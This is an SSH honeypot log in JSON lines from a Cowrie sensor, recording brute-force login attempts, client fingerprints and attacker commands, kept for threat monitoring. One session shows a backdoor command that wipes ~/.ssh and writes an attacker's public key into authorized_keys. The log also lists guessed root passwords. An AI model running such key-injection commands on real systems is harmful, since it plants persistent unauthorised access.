{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:46.420175Z","src_ip":"2.57.122.208","session":"197c81f86cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":45834,"dst_ip":"159.203.135.109","dst_port":22,"session":"923d3c6e3c56","protocol":"ssh","message":"New connection: 101.44.96.62:45834 (159.203.135.109:22) [session: 923d3c6e3c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:50.081184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:50.088310Z","src_ip":"101.44.96.62","session":"923d3c6e3c56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:50.303007Z","src_ip":"101.44.96.62","session":"923d3c6e3c56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:50.946641Z","src_ip":"101.44.96.62","session":"923d3c6e3c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:52.163192Z","src_ip":"101.44.96.62","session":"923d3c6e3c56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.35.203","src_port":32996,"dst_ip":"10.17.0.5","dst_port":22,"session":"b06ed12be62a","protocol":"ssh","message":"New connection: 217.154.35.203:32996 (10.17.0.5:22) [session: b06ed12be62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:55.792750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:55.797344Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:55.878057Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"kevin2026","message":"login attempt [root/kevin2026] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.228836Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.435664Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.438399Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.441489Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.523786Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.714204Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.717479Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.811603Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.815087Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.35.203","src_port":33004,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e32004cd586","protocol":"ssh","message":"New connection: 217.154.35.203:33004 (10.17.0.5:22) [session: 4e32004cd586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.887851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.891787Z","src_ip":"217.154.35.203","session":"4e32004cd586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:56.971182Z","src_ip":"217.154.35.203","session":"4e32004cd586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:57.322036Z","src_ip":"217.154.35.203","session":"4e32004cd586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:58.413524Z","src_ip":"217.154.35.203","session":"4e32004cd586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.35.203","src_port":33020,"dst_ip":"10.17.0.5","dst_port":22,"session":"13d1a241085a","protocol":"ssh","message":"New connection: 217.154.35.203:33020 (10.17.0.5:22) [session: 13d1a241085a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:58.488952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:58.493319Z","src_ip":"217.154.35.203","session":"13d1a241085a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:58.572880Z","src_ip":"217.154.35.203","session":"13d1a241085a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:58.924758Z","src_ip":"217.154.35.203","session":"13d1a241085a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:59.022915Z","src_ip":"217.154.35.203","session":"b06ed12be62a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:27:59.026563Z","src_ip":"217.154.35.203","session":"13d1a241085a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":37486,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eaff8fd6bad","protocol":"ssh","message":"New connection: 101.44.96.62:37486 (159.203.135.109:22) [session: 5eaff8fd6bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:03.547548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:03.553022Z","src_ip":"101.44.96.62","session":"5eaff8fd6bad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:03.767643Z","src_ip":"101.44.96.62","session":"5eaff8fd6bad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:04.421335Z","src_ip":"101.44.96.62","session":"5eaff8fd6bad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:05.640686Z","src_ip":"101.44.96.62","session":"5eaff8fd6bad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":40666,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0926fa6ff3f","protocol":"ssh","message":"New connection: 101.44.96.62:40666 (159.203.135.109:22) [session: d0926fa6ff3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:17.080407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:17.167512Z","src_ip":"101.44.96.62","session":"d0926fa6ff3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:17.384083Z","src_ip":"101.44.96.62","session":"d0926fa6ff3f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:18.033879Z","src_ip":"101.44.96.62","session":"d0926fa6ff3f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:18.508834Z","src_ip":"101.44.96.62","session":"d0926fa6ff3f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:18.512048Z","src_ip":"101.44.96.62","session":"d0926fa6ff3f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:18.731002Z","src_ip":"101.44.96.62","session":"d0926fa6ff3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:18.735428Z","src_ip":"101.44.96.62","session":"d0926fa6ff3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56280,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ac659f502fc","protocol":"ssh","message":"New connection: 101.44.96.62:56280 (159.203.135.109:22) [session: 4ac659f502fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:30.515676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:30.519811Z","src_ip":"101.44.96.62","session":"4ac659f502fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS